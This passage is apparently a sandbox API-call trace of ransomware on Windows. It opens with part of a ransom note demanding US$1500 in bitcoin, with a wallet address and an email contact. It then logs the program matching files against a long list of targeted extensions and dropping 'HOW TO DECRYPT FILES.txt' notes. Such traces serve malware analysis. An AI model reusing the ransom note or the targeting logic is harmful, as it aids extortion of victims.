are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0121.322] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0121.323] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0121.323] CloseHandle (hObject=0x90) returned 1 [0121.323] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\", lpString2="System.Speech.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll" [0121.323] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.ems") returned 0 [0121.324] lstrlenA (lpString="*.ems") returned 5 [0121.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.db") returned 0 [0121.324] lstrlenA (lpString="*.db") returned 4 [0121.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.dbf") returned 0 [0121.324] lstrlenA (lpString="*.dbf") returned 5 [0121.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.myox") returned 0 [0121.324] lstrlenA (lpString="*.myox") returned 6 [0121.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.myo") returned 0 [0121.324] lstrlenA (lpString="*.myo") returned 5 [0121.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.qbw") returned 0 [0121.324] lstrlenA (lpString="*.qbw") returned 5 [0121.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.qbb") returned 0 [0121.324] lstrlenA (lpString="*.qbb") returned 5 [0121.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.qbm") returned 0 [0121.324] lstrlenA (lpString="*.qbm") returned 5 [0121.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.qbo") returned 0 [0121.324] lstrlenA (lpString="*.qbo") returned 5 [0121.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.qbx") returned 0 [0121.324] lstrlenA (lpString="*.qbx") returned 5 [0121.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.qba") returned 0 [0121.324] lstrlenA (lpString="*.qba") returned 5 [0121.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.qby") returned 0 [0121.324] lstrlenA (lpString="*.qby") returned 5 [0121.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.qbj") returned 0 [0121.325] lstrlenA (lpString="*.qbj") returned 5 [0121.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.ofx") returned 0 [0121.325] lstrlenA (lpString="*.ofx") returned 5 [0121.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.qif") returned 0 [0121.325] lstrlenA (lpString="*.qif") returned 5 [0121.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.mye") returned 0 [0121.325] lstrlenA (lpString="*.mye") returned 5 [0121.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.mbox") returned 0 [0121.325] lstrlenA (lpString="*.mbox") returned 6 [0121.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.eml") returned 0 [0121.325] lstrlenA (lpString="*.eml") returned 5 [0121.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.pst") returned 0 [0121.325] lstrlenA (lpString="*.pst") returned 5 [0121.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.ost") returned 0 [0121.325] lstrlenA (lpString="*.ost") returned 5 [0121.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.idx") returned 0 [0121.325] lstrlenA (lpString="*.idx") returned 5 [0121.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.dbx") returned 0 [0121.325] lstrlenA (lpString="*.dbx") returned 5 [0121.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.sql") returned 0 [0121.325] lstrlenA (lpString="*.sql") returned 5 [0121.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.mdb") returned 0 [0121.325] lstrlenA (lpString="*.mdb") returned 5 [0121.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.fdb") returned 0 [0121.326] lstrlenA (lpString="*.fdb") returned 5 [0121.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.wab") returned 0 [0121.326] lstrlenA (lpString="*.wab") returned 5 [0121.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.dat") returned 0 [0121.326] lstrlenA (lpString="*.dat") returned 5 [0121.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.txt") returned 0 [0121.326] lstrlenA (lpString="*.txt") returned 5 [0121.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.jpeg") returned 0 [0121.326] lstrlenA (lpString="*.jpeg") returned 6 [0121.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.jpg") returned 0 [0121.326] lstrlenA (lpString="*.jpg") returned 5 [0121.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.png") returned 0 [0121.326] lstrlenA (lpString="*.png") returned 5 [0121.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.php") returned 0 [0121.326] lstrlenA (lpString="*.php") returned 5 [0121.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.cs") returned 0 [0121.326] lstrlenA (lpString="*.cs") returned 4 [0121.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.cpp") returned 0 [0121.326] lstrlenA (lpString="*.cpp") returned 5 [0121.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.rar") returned 0 [0121.326] lstrlenA (lpString="*.rar") returned 5 [0121.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.zip") returned 0 [0121.326] lstrlenA (lpString="*.zip") returned 5 [0121.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.html") returned 0 [0121.326] lstrlenA (lpString="*.html") returned 6 [0121.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.htm") returned 0 [0121.327] lstrlenA (lpString="*.htm") returned 5 [0121.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.xlsx") returned 0 [0121.327] lstrlenA (lpString="*.xlsx") returned 6 [0121.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.xls") returned 0 [0121.327] lstrlenA (lpString="*.xls") returned 5 [0121.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.mp4") returned 0 [0121.327] lstrlenA (lpString="*.mp4") returned 5 [0121.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.ppt") returned 0 [0121.327] lstrlenA (lpString="*.ppt") returned 5 [0121.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.pptx") returned 0 [0121.327] lstrlenA (lpString="*.pptx") returned 6 [0121.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.doc") returned 0 [0121.327] lstrlenA (lpString="*.doc") returned 5 [0121.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.dot") returned 0 [0121.327] lstrlenA (lpString="*.dot") returned 5 [0121.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.docx") returned 0 [0121.327] lstrlenA (lpString="*.docx") returned 6 [0121.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.7z") returned 0 [0121.327] lstrlenA (lpString="*.7z") returned 4 [0121.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.tar") returned 0 [0121.327] lstrlenA (lpString="*.tar") returned 5 [0121.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.bz2") returned 0 [0121.327] lstrlenA (lpString="*.bz2") returned 5 [0121.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.gz") returned 0 [0121.327] lstrlenA (lpString="*.gz") returned 4 [0121.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.mkv") returned 0 [0121.328] lstrlenA (lpString="*.mkv") returned 5 [0121.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.eml") returned 0 [0121.328] lstrlenA (lpString="*.eml") returned 5 [0121.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.msg") returned 0 [0121.328] lstrlenA (lpString="*.msg") returned 5 [0121.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.edb") returned 0 [0121.328] lstrlenA (lpString="*.edb") returned 5 [0121.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.accdb") returned 0 [0121.328] lstrlenA (lpString="*.accdb") returned 7 [0121.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.odb") returned 0 [0121.328] lstrlenA (lpString="*.odb") returned 5 [0121.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.java") returned 0 [0121.328] lstrlenA (lpString="*.java") returned 6 [0121.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.asm") returned 0 [0121.328] lstrlenA (lpString="*.asm") returned 5 [0121.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll", pszSpec="*.pfx") returned 0 [0121.329] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabde0150, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xabde0150, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xabde0150, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x240, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Speech.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0121.329] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0121.329] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Speech.ni.dll.aux") returned -1 [0121.329] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Speech.ni.dll.aux") returned -1 [0121.329] lstrcmpiA (lpString1="", lpString2="System.Speech.ni.dll.aux") returned -1 [0121.329] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll") returned="System.Speech.ni.dll" [0121.329] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\" [0121.329] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\") returned="" [0121.329] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\HOW TO DECRYPT FILES.txt" [0121.329] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.speech\\771a6f50093c39f0417eaf26bfb7deef\\how to decrypt files.txt")) returned 0x20 [0121.329] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\", lpString2="System.Speech.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll.aux" [0121.329] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\System.Speech.ni.dll.aux", pszSpec="*.ems") returned 0 [0121.330] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabde0150, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xabde0150, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xabde0150, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x240, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Speech.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0121.330] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0121.330] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabde0150, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xabde0150, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xabde0150, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="771a6f50093c39f0417eaf26bfb7deef", cAlternateFileName="771A6F~1")) returned 0 [0121.330] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0121.330] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8637e1f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8637e1f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8637e1f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Transactions", cAlternateFileName="SYSTEM~1.TRA")) returned 1 [0121.331] lstrcmpA (lpString1=".", lpString2="System.Transactions") returned -1 [0121.331] lstrcmpA (lpString1="..", lpString2="System.Transactions") returned -1 [0121.332] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0121.332] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Transactions" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Transactions") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Transactions" [0121.332] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Transactions\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8637e1f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8637e1f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8637e1f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0121.346] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0121.346] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8637e1f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8637e1f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8637e1f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.346] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0121.346] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0121.346] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8637e1f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8637e1f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8637e1f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="c0b6be862ff760a1f67b8b7e6548b411", cAlternateFileName="C0B6BE~1")) returned 1 [0121.346] lstrcmpA (lpString1=".", lpString2="c0b6be862ff760a1f67b8b7e6548b411") returned -1 [0121.346] lstrcmpA (lpString1="..", lpString2="c0b6be862ff760a1f67b8b7e6548b411") returned -1 [0121.346] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Transactions\\*.*") returned="*.*" [0121.347] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Transactions\\", lpString2="c0b6be862ff760a1f67b8b7e6548b411" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Transactions\\c0b6be862ff760a1f67b8b7e6548b411") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Transactions\\c0b6be862ff760a1f67b8b7e6548b411" [0121.347] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Transactions\\c0b6be862ff760a1f67b8b7e6548b411\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8637e1f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8637e1f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8637e1f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0121.347] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0121.347] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8637e1f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8637e1f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8637e1f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.347] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0121.347] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0121.347] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8637e1f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8637e1f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8637e1f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0xccc00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Transactions.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0121.348] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0121.348] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", 